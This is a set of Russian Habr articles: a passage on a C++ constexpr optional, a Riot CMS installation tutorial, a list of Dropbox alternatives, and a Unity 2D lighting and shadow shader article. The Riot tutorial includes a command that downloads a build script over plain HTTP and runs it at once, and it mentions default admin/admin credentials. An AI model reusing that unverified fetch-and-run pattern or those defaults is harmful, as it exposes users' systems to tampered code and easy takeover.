В то же время, мы хотим обращаться к **operator\*** и на этапе компиляции, и в этом случае было бы неплохо, чтобы компиляция проваливалась в момент попытки обращения к неинициализированному значению в объекте. Может возникнуть соблазн использовать метод, описанный в [других моих статьях](http://akrzemi1.wordpress.com/2011/05/06/compile-time-computations/) по расчётам на этапе компиляции:
```
constexpr explicit optional::operator bool()
{
return initialized\_;
};
constexpr T const& optional::operator\*()
{
return bool(\*this) ? \*static\_cast(storage\_) : throw uninitialized\_optional();
}
```
Но всё-же он не подходит. Мы действительно достигнем проверки на этапе компиляции, но также появится проверка и на этапе выполнения, что ударит по производительности. Возможно ли оставить проверку на этапе компиляции, но не делать её на этапе выполнения кода?
#### Решение
Обе этих проблемы решаются использованием объединения типа **T** и заглушки:
```
struct dummy_t{};
template
union optional\_storage
{
static\_assert( is\_trivially\_destructible::value, "" );
dummy\_t dummy\_;
T value\_;
constexpr optional\_storage() // конструктор "пустого" состояния
: dummy\_{} {}
constexpr optional\_storage(T const& v) // конструктор по значению
: value\_{v} {}
~optional\_storage() = default; // тривиальный деструктор
};
```
Есть специальные правила использования объединений в константных функциях и конструкторах. Нам необходимо инициализировать только один член объединения. (В самом деле, мы и не можем инициализировать одновременно несколько, поскольку они занимают одну и ту же область памяти). Этот член называется «активным». В том случае, если мы хотим оставить наше хранилище пустым — мы инициализируем заглушку. Это удовлетворяет все формальные требования инициализации на этапе компиляции, но поскольку наша заглушка **dummy\_t** не содержит никаких данных, её инициализация не отнимает никаких ресурсов на рантайме.
Второе: чтение (строго говоря «вызов преобразования **lvalue-to-rvalue**») неактивного члена объединения не является константным выражением и его использование на этапе компиляции даёт нам ошибку компиляции. Следующий пример это демонстрирует:
```
constexpr optional_storage oi{1}; // ok
constexpr int i = oi.value\_; // ok
static\_assert(i == 1, ""); // ok
constexpr optional\_storage oj{}; // ok
constexpr int j = oj.value\_; // ошибка на этапе компиляции
```
Теперь наш класс **optional** (для типов **Т** с тривиальными деструкторами) может быть реализован так:
```
template
// requires: is\_trivially\_destructible::value
class optional
{
bool initialized\_;
optional\_storage storage\_;
public:
constexpr optional(none\_t) : initialized\_{false}, storage\_{} {}
constexpr optional(T const& v) : initialized\_{true}, storage\_{v} {}
constexpr T const& operator\*()
// precondition: bool(\*this)
{
return storage\_.value\_;
}
// ...
};
```
Сообщение об ошибке на этапе компиляции в **operator\*** не идеально: оно не говорит о том, что объект не был инициализирован, а лишь указывает на использование неактивного члена объединения. Тем не менее наша главная цель была достигнута: код с неверным доступом к значению не скомпилируется.
Вы можете найти базовую реализацию **std::optional** здесь: [github.com/akrzemi1/optional](https://github.com/akrzemi1/optional) | https://habr.com/ru/post/164037/ | null | ru | null |
# Spring в действии — пробуем opensource CMS на Java
В данной статье речь пойдёт о системе управления содержимым *Riot*, написанной на *Java*. Система основана на *Spring Framework*, использует *Ajax*.
Я приведу основные возможности системы и пошагово расскажу, как её установить. Статья адресована всем тем, кто интересуется системами управления содержимым на Java.
#### Содержание
Что такое Riot
* Основные характеристики
* Системные требования
* Используемые библиотеки
* Документация
Создание нового Riot проекта
* Русификация Riot
* Настройка подключения к БД
* Ошибки, возникшие во время установки
#### Что такое Riot
*Riot — это [opensource](http://www.riotfamily.org/about/license.html) фреймворк для построения веб-приложений.*
Конечные пользователи могут рассматривать систему как *CMS*, но с позиции разработичика Riot — это скорее *Content Management Framework ([CMF](http://ru.wikipedia.org/wiki/CMF))*, так как система не предлагает решения из коробки (out-of-the-box). Riot представляет собой каркас веб-приложения, основанный на opensource технологиях, наиболее значимые из которых *Spring* и *Hibernate*.
##### Основные характеристики:
* возможность редактировать контент напрямую на странице, используя Ajax-интерфейс;
* возможность управлять *бизнес-объектами ([domain objects](http://en.wikipedia.org/wiki/Business_object_%28computer_science%29))* из администраторского раздела вне зависимости от их происхождения (Hibernate, JPA, custom DAO);
* поддержка многоязычности как в интерфейсе, так и в содержимом;
* поддержка модулей;
* поддержка мультисайтинга;
* настраиваемые шаблоны оформления, возможность управлять блоками содержимого прямо на сайте;
* управление пользователями;
* красивые урлы вида *site.com/level1/level2/../page.html*;
* возможность интегрирования в существующие приложения.
##### Системные требования:
* работает на любой платформе с установленной Java-машиной от версии 1.5;
* использует сервлет-контейнеры, поддерживающие спецификацию 2.5;
* для доступа к данным использует Hibernate, что даёт возможность выбирать СУБД [из набора доступных](http://community.jboss.org/wiki/SupportedDatabases);
* некоторые функции требуют наличия библиотеки ImageMagick, которая также доступна на большинстве платформ.
##### Используемые библиотеки:
* [Spring Framework](http://www.springframework.org/) — в качестве IoC-контейнера и web MVC фреймворка;
* ORM фреймворк [Hibernate](http://www.hibernate.org/);
* шаблонизатор [FreeMarker](http://freemarker.org/);
* [Direct Web Remoting](http://getahead.org/dwr) — библиотека, позволяющая коду Javascript в браузере взаимодействовать с Java-объектами на сервере. Линейка инструментов сайта (Riot Toolbar) использует DWR для создания пользовательского интерфейса на Ajax;
* [Apache Ant](http://ant.apache.org/) — java-утилита для автоматизации процесса сборки программного продукта;
* [Ivy](http://incubator.apache.org/ivy/) — менеджер определения зависимостей, отличающийся гибкостью и простотой.
##### Документация:
Документации на систему немного. Разработчики riot настаивают на том, что система базируется на известных хорошо документированных технологиях и разобраться с надстройками riot'а будет нетрудно. Есть группа в [гугл](http://groups.google.com/group/riotfamily/), в которой происходит обсуждение системы, есть online [JavaDoc](http://www.riotfamily.org/api/8.0.x/index.html) и [fmdoc](http://www.riotfamily.org/fmdoc/8.0.x/index.html).
#### Создание нового Riot проекта
Создавать новый проект будем в [Эклипсе](http://www.eclipse.org/) (с установленным плагином [Web Standard Tools](http://download.eclipse.org/webtools/updates/)). Если вы не хотите использовать IDE, просто создайте новую папку будущего проекта.
В созданной папке разместите следующий ant-файл [setup.xml](http://www.riotfamily.org/setup.xml) и запустите цель по-умолчанию
```
(wget http://riotfamily.org/setup.xml && ant -f setup.xml).
```
Setup.xml cкачивает файл [www.riotfamily.org/setup/skeleton-8.0.zip](http://www.riotfamily.org/setup/skeleton-8.0.zip) и распаковывает его. Выполняет ant-скрипт *skeleton.xml*. Удаляет *skeleton.xml, setup.xml, skeleton-8.0.zip*.
*Выполнение файла skeleton.xml.*
Файл проверяет, был ли создан проект в Eclipse, и если да, то скрипт патчит несколько *конфиг-файлов в IDE*. (например, папка *build/conf* добавляется в список *source folders*). После этого вызывается процедура *setup* файла *build.xml*, которая выполняет разрешение зависимостей с помощью *Ivy* и строит проект. У меня построение проекта заняло около 15 минут, за них иви вытянул одиннадцать мегабайт библиотек.
После того, как завершится построение проекта, обновите структуру проекта из Эклипса для того, чтобы увидеть файлы, загруженные во время создания проекта.
Если вы не используете редактор, для создания WAR-файла воспользуйтесь командой «ant war».
Созданный war-файл разместите в папку webapps Томката и перезапустите сервер.
Сайт по-умолчанию будет доступен по адресу ***localhost:8080//***.
Админ панель будет доступна по адресу ***localhost:8080//riot***.
Username: admin
Password: admin
##### Русификация Riot
Riot использует кодировку *utf8*, но для того, чтобы система стала понимать *кириллицу*, нужно проверить несколько настроек приложения.
1. Проверить кодировку СУБД. Для MySQL мне пришлось в файле *my.cnf (my.ini)* писать:
`character-set-server = utf8
collation-server = utf8_general_ci`
2. Для корректного преобразования текста в картинку (*пакет org.riotfamily.website.txt2img*) подключить в файле *riot-config/website-servlet.xml* кириллические шрифты (например [этот](http://en.fonts2u.com/doulos-sil.font));
3. Для перевода меню админки в адресную строку браузера введите команду *javascript:void(frameset.toggleI18n())*, после чего возле каждой надписи появится жёлтая кнопка [l18n]. Жмите на неё и переводите меню.
##### Настройка подключения к БД
По-умолчанию Riot использует [HSQLDB](http://hsqldb.org/) и не хранит изменения в системе после перезагрузки. Для настройки работы с *MySQL (PostgreSQL)* измените настройки файла *conf\default\application.properties* в соответствии с рекомендациями, приведёнными в *conf\mysql\application.properties* или *conf\postgres\application.properties*.
##### Ошибки, возникшие во время установки
1. После построения проекта у меня в Эклипсе возникли ошибки валидации spring-beans-2.5.xsd. Решение оказалось [простое](http://groups.google.com/group/riotfamily/browse_thread/thread/85c36fd6969598d9).
2. Также при создании таблицы *riot\_dbmsgsrc\_entries* возникла ошибка.
Пришлось менять код:
1. **CREATE** **TABLE** `riot**\_**dbmsgsrc**\_**entries` (
2. `id` **bigint**(20) **NOT** **NULL** **auto\_increment**,
3. `bundle` **varchar**(255) **collate** utf8\_general\_ci **default** **NULL**,
4. `code` **varchar**(255) **collate** utf8\_general\_ci **default** **NULL**,
5. `comment` **longtext** **collate** utf8\_general\_ci,
6. **PRIMARY KEY** (`id`),
7. **UNIQUE** **KEY** `bundle` (`bundle`,`code`)
8. ) **ENGINE**=MyISAM **DEFAULT** **CHARSET**=utf8 **COLLATE**=utf8\_general\_ci **AUTO\_INCREMENT**=1 ;
на
1. **CREATE** **TABLE** `riot**\_**dbmsgsrc**\_**entries` (
2. `id` **bigint**(20) **NOT** **NULL** **auto\_increment**,
3. `bundle` **varchar**(255) **collate** utf8\_general\_ci **default** **NULL**,
4. `code` **varchar**(255) **collate** utf8\_general\_ci **default** **NULL**,
5. `comment` **longtext** **collate** utf8\_general\_ci,
6. **PRIMARY KEY** (`id`),
7. **UNIQUE** **KEY** `bundle` (`bundle`(100),`code`(100))
8. ) **ENGINE**=MyISAM **DEFAULT** **CHARSET**=utf8 **COLLATE**=utf8\_general\_ci **AUTO\_INCREMENT**=1 ;
3. У меня не получилось запустить Томкет из редактора, поэтому я в build.xml добавил цели запуска/останова сервера и цель размещения war-файла в папке webapps. Мои изменения:
1.
2. name=«tomcat.dir» value=«C:/Program Files/Apache Software Foundation/Tomcat 6.0» **/>**
3.
4.
5. name=«tomcat.webapp.dir» value="${tomcat.dir}/webapps" **/>**
6.
7.
8. name=«deploy-tomcat» depends=«war» description=«Copies war file into Tomcat»**>**
9. target=«tomcat-stop» **/>**
10. file="${war.location}" todir="${tomcat.webapp.dir}"**/>**
11. dir="${tomcat.webapp.dir}/${ant.project.name}"**/>**
12. target=«tomcat-start» **/>**
13. ****>****
-
-
- name=«tomcat-start»**>**
- jar="${tomcat.dir}/bin/bootstrap.jar" fork=«true»**>**
- value="-Dcatalina.home=${tomcat.dir}"**/>**
- ****>****
- ****>****
-
-
- name=«tomcat-stop»**>**
- jar="${tomcat.dir}/bin/bootstrap.jar" fork=«true»**>**
- value="-Dcatalina.home=${tomcat.dir}"**/>**
- line=«stop»**/>**
- ****>****
- ****>****
#### Выводы
Riot — интересная и гибкая система, построенная на java-технологиях. Riot предоставляет разработчику каркас веб-приложения с уже реализованными основными функциями CMS. | https://habr.com/ru/post/100984/ | null | ru | null |
# Не DropBox единым жив человек – 10 альтернатив популярному сервису
[Dropbox](https://www.dropbox.com/home) — чрезвычайно популярный облачный сервис. Если вы давно им пользуетесь, то скорее всего, не искали альтернативы. Это не удивительно — Dropbox настолько удобен в пользовании, что стимула для поиска другого сервиса просто нет. Однако, если задуматься, сервис имеет ряд весомых недостатков:
• Нельзя разместить свой собственный сервер;
• Бесплатно доступно всего лишь 2 Гб;
• Нет удаленного доступа к компьютерам;
• Нет открытого исходного кода.
А ведь сервису DropBox существует множество альтернатив — как новых, так и не очень.
**1. Dmailer Backup**
[Dmailer](http://www.dmailer.com/dmailer-backup.html) представляет собой отличное хранилище для файлов. Мы можем использовать этот сервис как под Windows, так и с системами Mac. Сервис предоставляет услугу резервного копирования файлов до 2гб. Все данные хранятся в сети, так же, как и в случае с Dropbox. Список преимуществ Dmailer перед DropBox впечатляет:
• возможность автоматического резервного копирования ваших данных;
• возможность поддерживать сразу несколько версий в одном файле;
• возможность создания нескольких аккаунтов;
• безопасность: приложение защищается паролем и зашифровано протоколом AES 128-бит;
• помощь: возможность воспользоваться инструкцией по эксплуатации;
• простота: все производится в один клик;
• локализация на 18 языках.
**2. Syncplicity**
[Syncplicity](http://www.sparkleshare.org/) можно использовать как программу для синхронизации данных и резервного копирования. Причем в результате на сервере будут храниться и последние, и более ранние версии редактируемых файлов. В случае же нечаянного удаления файлов на ПК они также восстанавливаются через веб-интерфейс. Пространство, занимаемое удаленными файлами и промежуточными копиями, не вычитается из общего.
Syncplicity интегрируется в контекстное меню системы, откуда можно добавлять нужные папки в список синхронизируемых, получать прямые ссылки на файлы для скачивания и расшаривать любую директорию для общего доступа.
Можно сделать так, что на любом количестве компьютеров приглашенные пользователи Syncplicity смогут менять содержимое определенной папки, причем все модификации будут мгновенно передаваться другим пользователям, так что контент директории будет идентичен на всех ПК.
В Syncplicity также организована тесная интеграция с некоторыми онлайновыми сервисами. Например, можно загружать фотографии в альбомы на Facebook, просто копируя их в определенные папки на ПК. Также довольно интересно выглядит интеграция с офисным пакетом Google: любой документ, созданный в Google Docs, будет появляться в выбранной папке на компьютере, и наоборот. Таким образом, файл редактируется как локально с помощью Microsoft Office, так и в онлайне.
В бесплатном аккаунте доступно 2 ГБ пространства, которое можно увеличить до пяти, пригласив троих друзей (при этом они также получат бонус в 1 ГБ).
**03. Wuala**
[Wuala](http://wuala.com/) — дружественная к Linux-среде и безопасная альтернатива DropBox. Новые зарегистрированные пользователи получают 1 Гб в сети от команды Wuala.
Раньше этот объём мог быть увеличен путём торговли местом хранения на локальном жестком диске. Для этого было необходимо, чтобы компьютер был онлайн по меньшей мере 4 часа в день. Доступный размер пространства в сети вычислялся в зависимости от времени нахождения компьютера онлайн и размера места на локальном жестком диске, предоставленного для Wuala.
Однако, 3 ноября 2011 года облачный коммунизм был отменен — полученное путем «торговли» пространство будет действительно еще в течении года. Затем придется пользоваться другими способами расширить пространство: приглашать друзей, использовать промо-коды для получения свободного пространства или купить его.
**4. Sparkleshare**
[Sparkleshare](http://www.sparkleshare.org/) — решение для тех, у кому нужен открытый код. бесплатная утилита с открытым исходным кодом для организации совместной работы с файлами, разработанная таким образом, чтобы максимально упростить пользователям настройку и работу с программой. Программа создаёт в домашнем каталоге пользователя каталог с именем SparkleShare, к которому можно подключить множество удалённых каталогов для синхронизации, которые могут быть расположены на разных серверах. Помимо всего прочего SparkleShare обладает системой уведомлений, похожей на DropBox. Установить утилиту можно из PPA-репозитория:
`$ mkdir -p ~/.ssh
$ sudo add-apt-repository ppa:warp10/sparkleshare
$ sudo apt-get update
$ sudo apt-get install sparkleshare libwebkit1.1-cil git-core`
Первая команда нужна, если у вас нет каталога ~/.ssh, поскольку без него SparkleShare «вылетает». Если вашим Linux является не Ubuntu, вы можете собрать SparkleShare из исходных кодов, скаченных с соответствующей страницы проекта.
**5. Live Mesh**
[Live Mesh](http://www.mesh.com/) предлагает возможность синхронизации любого количества компьютеров, выделяя целых 5 ГБ под хранение файлов. Новые папки добавляются через контекстное меню. К сожалению, в отличие от других утилит в Live Mesh нет индикаторов, отображающих текущее состояние синхронизации на иконках самих файлов.
Немного неожиданным оказалось наличие функции удаленного доступа. Для подключения к другому компьютеру устанавливать Live Mesh необязательно, управлять ПК можно прямо из браузера.
К минусам стоит отнести то, что синхронизируемые папки на других компьютерах, подключенных к сервису, появляются только на Рабочем столе и их месторасположение нельзя изменить.
**6. SugarSync**
[SugarSync](http://www.sugarsync.com/) – это 5 Гб бесплатного пространства. Кроме резервного копирования и синхронизации с несколькими компьютерами, отличительной особенностью является доступность для мобильных устройств: iPhone, Android, Blackberry,Windows Mobile.
**7. Windows Live SkyDrive**
[Windows Live SkyDrive](http://windowslivehelp.com/product.aspx?productid=6) — безусловный «номер один» по объему дискового пространства, бесплатно предоставляемого зарегистрированным пользователям — 25 Гбайт!
Хранить можно файлы любых форматов, но некоторые получают дополнительные преимущества. Так, если это документы Office, то, с помощью интегрированных в SkyDrive Office Web Apps, их можно редактировать прямо в браузере, а установленный на компьютере Office 2010 позволяет сохранять и открывать документы непосредственно в SkyDrive. Фото и видео структурируются по каталогам с возможностью показа в браузере виде слайд-шоу, доступ к файлам можно разграничивать для различных категорий пользователей, а сопутствующий сервис Windows Live Mesh позволяет автоматически синхронизировать через SkyDrive файлы на одном или нескольких компьютерах.
**8. SpiderOak**
При бесплатной модели использования выделяется 2 Гб под ваши файлы, клиенты имеются для всех платформ – Windows, Mac и Linux.
Основное и главное отличие [SpiderOak](http://spideroak.com/) от Dropbox – возможность синхронизации любых файлов и папок, а не только расположенных в специальной папке.
Имеется также возможность настроить периодичность резервного копирования – от автоматического (постоянное отслеживание изменений) до одного раза в двое суток, возможность откатить любой измененный файл до предыдущей версии, и еще множество опций по автоматизации работы сервиса.
**9. 4Shared**
Вновь на нашем горизонте появилось что-то приятное. Как и у SkyDrive, в [4Shared](http://www.4shared.com/) присутствует русскоязычный интерфейс, да и объем для хранения данных, предоставляемый в бесплатном тарифе, напоминает о SkyDrive — 10 Гбайт без особых ограничений, если не считать таковыми максимальный размер 1 файла в 200 Мбайт и ограниченную скорость скачивания расположенного на сервисе содержимого.
В плане удобства доступа и управления файлами предлагается что-то среднее между SkyDrive и Dropbox — устанавливаемый на компьютере клиент, но не встраиваемый в систему. Из дополнительных сервисов можно упомянуть генерацию виртуальных фотоальбомов из выложенных фотографий и возможность просмотра закачанных видеофайлов непосредственно на сайте. Однако вышеупомянутые ограничения и достаточно большое количество рекламы всеми способами мотивируют пользователя перейти на платный тариф стоимостью в $10 в месяц или $78 в год.
**10. Box.net**
На [Box.net](http://www.box.net/) бесплатный тариф выделяет им 5 Гбайт дискового пространства, с ограничением в 25 Мбайт на один файл. Можно выдавать наружу ссылки для скачивания выложенных файлов, есть набор мобильных клиентов (iPad/iPhone и Android). К сожалению, расширенные возможности можно получить лишь на бизнес-тарифе (500 Гбайт и 2 Гбайт на файл), который является платным изначально, из расчета $15 за пользователя, причем пользователей должно быть минимум 3. Здесь уже появятся и защита файлов паролями, и синхронизация с компьютерами пользователей, и интеграция Google Apps. | https://habr.com/ru/post/134466/ | null | ru | null |
# 2D магия в деталях. Часть первая. Свет
Игры большие и трехмерные уже давно радуют глаз реалистичным освещением, мягкими тенями, бликами и прочей осветительной красотой. В двумерных же играх — во главе стола прямые руки художника, который подсветит и затенит где нужно, спрайт за спрайтом, или даже пиксель за пикселем. А если хочется динамики и без художника, и да, в пиксельарте?
#### Небольшая ремарка
Представьте себе:
> Боевой маг выходит на поле перед древним замком. Трава сминается под его сапогами, вечернее солнце слепит его глаза. Маг взмахивает посохом — вспышка! Огненный шар врезается в землю перед замком, ударная волна поднимает пыль и сгибает травинки. Комья обожжённой зелени вперемешку с землёй разлетаются в стороны. На каменной стене — гарь и копоть. Выстояла.
А теперь сделаем из этой воображаемой и эффектной картинки небольшую, но крайне технологичную, игрушку и поделимся наработками в Unity3D Asset store.
Планируется серия статей, в которых будут описаны: свет, генерация мешей, собственные системы частиц, работа с самописными редакторами, ragdoll на интегрировании Верле. В статьях будут описания алгоритмов, как придуманных из головы, так и найденных на просторах всемирной сети. В статьях не будет описаний вида "Добавим спрайт и камеру на сцену, назовём это статьёй, достойной Хабра, и выложим на суд добрых людей". На момент написания этой (первой) статьи, проект ещё не доведён до ума, так что в заключительной части планируется разбор ошибок и прочие дополнения.
Cтатьи цикла
------------
**Часть первая. Свет.**
[Часть вторая. Структура.](https://habrahabr.ru/post/312046)
[Часть третья. Глобальное освещение.](https://habrahabr.ru/post/313776/)
#### Что такое свет в 2D?
Будем честны — "реалистичный свет" означает "хорошо выглядящий", а вовсе не "достоверно моделирующий оптические законы". Да и 2D — тоже не совсем верно, ведь если источник света будет в той же плоскости, что и спрайты — увидим мы ровным счетом ничего. Итак, давайте определимся, что считать освещением.
Костры, фонари, файрболы и прочая магия — вот наши основные источники света. Они находятся примерно в той-же плоскости, где проходит основной игровой процесс. А ещё — небо, которое освещает всю сцену целиком, и солнце/луна, которые не видны только во внутренних помещениях.
Судя по всему, все источники света можем разбить так:
 **Point.** Точечный источник света, для которого мы можем указать положение, яркость, цвет и радиус действия.
 **Ambient.** Не ограниченный по расстоянию источкик света, например солнце. Его свет не проникает в помещения. Определяется положением (чтобы правильно отбрасывать тени), яркостью и цветом.
 **Diffuse ambient** "Настоящий" рассеянный свет, проникающий куда угодно. Было бы здорово, если цвет неба коррелировал бы с источниками света такого типа. Определяется цветом и яркостью.
**Маленький хинт**Иконки типов источников, которые вы видите выше, тоже участвуют в проекте. У Unity3D есть специальный механизм отрисовки "дебажной" информации в редакторе — Gizmo. И с помощью них можно рисовать свои иконки, что очень удобно для работы с объектами:
Интересующимся — гуглить в сторону [Gizmos.DrawIcon](https://docs.unity3d.com/ScriptReference/Gizmos.DrawIcon.html) и [MonoBehaviour.OnDrawGizmos](https://docs.unity3d.com/ScriptReference/MonoBehaviour.OnDrawGizmos.html).
А теперь разобьем игровую сцену на слои, начиная с ближайшего, и посмотрим, что и как освещать:
**Стены и прочие препятствия.** Твердые объекты, они отбрасывают тени и освещаются только рассеянным светом (т.к. все остальные источники "позади них").
**Игровые персонажи, трава, частицы и т.д.** Тут проходит основной игровой процесс. Все объекты должны быть подсвечены источниками света с учетом теней от стен.
**А ещё фоновые стены.** Эти объекты находятся позади игрового процесса, но достаточно близко, чтобы тоже быть освещенными точечными источниками света. Тени от препятствий также учитываются.
**Горы, замки и прочий задний план.** Находятся далеко от точечных источников, освещаются только рассеянным светом.
**Небо.** Само по себе является источником рассеянного освещения. Точечные источники на него не влияют (это не совсем так, но я забегаю вперед).
#### Построение теней
Итак, с источниками света разобрались, с игровыми объектами тоже. Самое время — заняться тенями.
Источники света у нас точечные (рассеянное освещение теней не отбрасывает), значит если из пикселя "не видно" источник света (луч от пикселя до источника пересекает препятствия) — там тень. Круто! Осталось только пробегать по всем пикселям и для каждого искать пересечения… Нет, нет, нет, по этому пути мы не пойдём, не переживайте! В 3d играх существует метод с названием Shadow volumes. Идея довольно проста: берем меш, который отбрасывает тень, "вытягиваем" его от источника света, а затем, при рендере, смотрим, где находится пиксель — внутри меша или снаружи. Попробуем так-же! Возьмем меши для наших препятствий, вытянем… Да-да, мешей то нет. Впрочем, не беда — есть текстура со спрайтами, ей и воспользуемся.
Идея в следующем: вытащить из текстур информацию о спрайтах, найти в каждом спрайте грани, и построить по этим граням меш. Делается всё это в ScriptableObject'e, через кнопочку в редакторе. На выходе — ассоциативный массив, где ключ — это спрайт, а значение — информация о гранях.
**Чуть более подробно**По неясной мне причине, в Unity3D есть ScriptableObject'ы, а способа создания без написания кода почему-то нет. Так что, если хочется сделать свои объекты, пригодится [вот такая штука](http://wiki.unity3d.com/index.php/CreateScriptableObjectAsset).
Есть достаточно много функций с asset'ами в редакторе, находятся они в классе AssetDatabase, и используются, например, чтобы получить спрайты из текстуры:
```
Sprite[] GetSprites(Texture2D texture) {
var path = AssetDatabase.GetAssetPath(texture);
return AssetDatabase.LoadAllAssetsAtPath(path).OfType().ToArray();
}
```
Затем получаем цвета пикселей через texture.GetPixels(), руками бегаем и сравниваем соседние пиксели, не изменилось ли значение альфа канала.
На выходе получаем два массива (вертикальный и горизонтальный) вот таких вот структур (значения целые, т.к измеряем в пикселях):
```
public struct BasisLine
{
public int normal;
public int position;
public int start;
public int end;
}
```
И наконец, чтобы полноценно работать с ScriptableObject'ами (да и чем угодно другим!), очень полезны самописные редакторы. Благо в Unity3D это делается достаточно просто:
```
[CustomEditor(typeof(Edges.SpriteGenerator))]
public class SpriteGeneratorEditor : Editor {
public override void OnInspectorGUI() {
this.DrawDefaultInspector();
if (targets.Length != 1)
return;
var generator = (Edges.SpriteGenerator)target;
if (GUILayout.Button("Generate")) {
generator.UpdateMeshes(true);
serializedObject.ApplyModifiedProperties();
}
}
}
```
Не повторяйте моих ошибок — внимательно следите, чтобы приватные сериализуемые поля были помечены [SerializeField], а классы — [System.Serializable], иначе потом будете искать, куда делись данные из объектов в билде (в редакторе-то всё будет хорошо, до первого перезапуска Unity3D).
Еще один момент: при размещении препятствий на сцене есть смысл удалить лишние грани (это те, которые находятся в других препятствиях). Во-первых — это оптимизирует меш с тенями. Во-вторых — упрощает жизнь в следующих статьях (например, информация о поверхности препятствий используется для посадки травы). Если коротко: при генерации информации о спрайтах помимо граней находим прямоугольники, полностью заполняющие спрайт. Я делаю несколько проходов — сверху-вниз, слева-направо и т.д., а затем выбираю тот, в котором получилось меньше прямоугольников. При размещении на сцене пробегаемся по спрайтам-препятствиям, находим пересечения AABB спрайтов, а затем — граней одного спрайта с прямоугольниками другого. Конечно, там возникают всякие хитрые моменты вроде спрайтов, касающихся друг друга боками (и грань нужно частично удалить), или спрайтов, наложенных так, что грань одного продолжает грань другого (и эти грани нужно объединить в одну). Но результат того стоит.
Наконец-то, у нас есть всё, чтобы, наконец, построить теневые меши. Идея совсем простая. Для каждой грани SF с нормалью N строим прямоугольник ABCD, где координаты и нормали такие:
```
A.vertex = D.vertex = S;
B.vertex = C.vertex = F;
A.normal = B.normal = 0;
C.normal = D.normal = 0;
```
То есть толщина прямоугольника равна нулю, но у двух граней есть нормаль, а у двух — нормаль нулевая. Теперь мы можем в шейдере вытянуть те вершины, у которых ненулевая нормаль направлена в сторону от источника света. Это и будет наша тень:
**Сделать это можно примерно вот таким шейдером**
```
Shader "NEngine/Light/Shadow" {
Properties {
_LightPosition ("Light position", Vector) = (0, 0, 0, 0)
_ShadowLength ("Shadow length", Range(0, 30)) = 0.1
_ShadowColor ("Shadow color", Color) = (0, 0, 0, 1)
}
SubShader {
Pass {
Tags {
"Queue"="Transparent"
"IgnoreProjector"="True"
"RenderType"="Transparent"
}
Cull Off
CGPROGRAM
#pragma vertex vert
#pragma fragment frag
struct appdata {
fixed4 vertex : POSITION;
fixed4 normal : NORMAL;
};
struct v2f {
fixed4 vertex : SV_POSITION;
fixed4 color : COLOR;
};
fixed2 _LightPosition;
fixed _ShadowLength;
fixed4 _ShadowColor;
v2f vert(appdata v) {
v2f o;
fixed2 normal = v.normal.xy;
fixed2 position = v.vertex.xy;
fixed2 delta = normalize(_LightPosition - position);
if (dot(delta, normal) > 0)
{
o.vertex = 0;
o.color = 0;
return o;
}
if (v.normal.z == 0)
{
o.color = _ShadowColor;
o.vertex = mul(UNITY_MATRIX_MVP, v.vertex);
return o;
}
o.color = _ShadowColor;
fixed2 direction = -delta * _ShadowLength;
fixed4 vertex = v.vertex + fixed4(direction.xy, 0, 0);
o.vertex = mul(UNITY_MATRIX_MVP, vertex);
return o;
}
fixed4 frag(v2f i) : SV_Target {
return i.color;
}
ENDCG
}
}
}
```
И на выходе мы получаем вот такую картинку:
#### Затенение, пиксели и свет
Изначально я сделал тени именно таким образом, да и источников света настоящих у меня не было. Просто некие абстрактные серенькие тени. На объекты они накладывались с помощью stencil-буфера — все спрайты, на которых можно отображать тень, записывали в буфер значение, и тени проверяли буфер перед отрисовкой пикселя. Но мало того, что выглядит нереалистично, так еще и из стиля выбивается — пиксели-то крупные. Думаем дальше.
А подумав, делаем Light2DManager, в котором источники света регистрируются при появлении, а потом отрисовываются в текстуру с небольшим разрешением. Каждый источник отрисовывается так:
1. Сначала в материал с тенями записывем позицию текущего источника;
2. Берем специальный спрайт (для Point — это спрайт с радиальным градиентом, для Ambient — просто прямоугольный спрайт размером с экран камеры) и меняем его позицию на позицию источника;
3. Отрисовываем тени и спрайт света в текстуру (свет отсекается шейдером с помощью stencil-буфера).
А вот с выводом на экран этого освещения есть интересный момент. Дело в том, что цвет пикселя на экране расчитывается обычно так:
```
OBJECT_COLOR * LIGHT_COLOR
```
Так как цвет пикселя и цвет источника света в пределах от 0 до 1, то и результат будет от нуля до единицы. Причем больше "от нуля", чем "до единицы" — спрайты не белые и вносят свою лепту. А иногда хочется сделать такой яркий источник света, чтобы даже тёмные камни замковых коридоров засияли, как утреннее небо. Добавим дополнительный коэффициент HDRRatio, равный, к примеру 10. И в шейдере источника света будем получать результат вот так:
```
fixed4(light.a * _Amount / _HDRRatio, 0, 0, light.a)
```
А при смешении света и сцены — умножать на этот коэффициент. Таким образом, мы теряем градации освещения (сколько теряем — определяем HDRRatio), но можем пересвечивать сцену.
Смешивать свет со сценой будем через постэффект — небольшой шейдер, который будет накладывать свет в зависимости от значения в stencil-буфере (помните, что не все элементы должны быть освещены?). А все Diffuse ambient источники будем суммировать, с некоторым коэффициентом устанавливать как цвет фона на основной камере и как фоновое освещение для всех объектов сцены.
#### Мягкие тени
В пиксельарте есть важное правило, его можно найти чуть-ли не в любом туториале по этому виду изобразительного искусства. При рисовании прямой наклонной линии нужно следить, чтобы пиксели не смотрелись "ломано", переходы должны быть мягкими и не заметными.
**Если кому-то интересно, конкретный пример**
Верхние линии — ломанные, грубые. Нижние — более сглаженные.
А вот линии теней сейчас не могут соблюдать это правило, все-таки шейдеру не хватает таланта художников (так что, господа дизайнеры, не переживайте, ваш труд никогда не заменит бездушный конвейер видеокарты). Да и вообще, с каких пор тени от солнышка такие резкие? Вот только без переделок сгладить тени не получится — свет отсекается stencil-буфером, а там — либо есть тень, либо нет, середины не существует.
Гугл на наши запросы выдает страшные слова — umbra и penumbra, выдает картинки чьих-то проектов, от которых слюнки текут. Общая их идея — делать более сложные меши, в которых есть и тень, и полутень. Но мы пойдем другим путём.
Заметим, что чем ближе тень к источнику тени, тем четче она. Значит, нам нужно как-то размывать тени с учетом расстояния до объекта.
Нарисуем спрайт света только в один канал (например, красный). Нарисуем тень в другом канале (синем). А еще, нарисуем наиболее удаленные точки тени (помните, как она строится? Наиболее удаленные — это те, у которых нормаль не нулевая) в оставшемся зеленом канале. Получим вот такую картинку, на которой есть все необходимое: свет, тень и расстояние от источника тени:
Размоем это изображение, но если обычно при размытии (если брать соседние пиксели), мы делаем что-то такое:
```
(current + top + bottom + right + left) / 5.0
```
то сейчас будем учитывать значение из зеленого канала как вес:
```
(current + top * top.g + bottom * bottom.g + right * right.g + left * left.g) / (top.g + bottom.g + right.g + left.g + 1)
```
Теперь перемешиваем R-канал со светом и B-канал с тенью без градиента (по сути, просто умножаем два канала и цвет источника света). Получаем аккуратные размытые тени:
#### Красивости
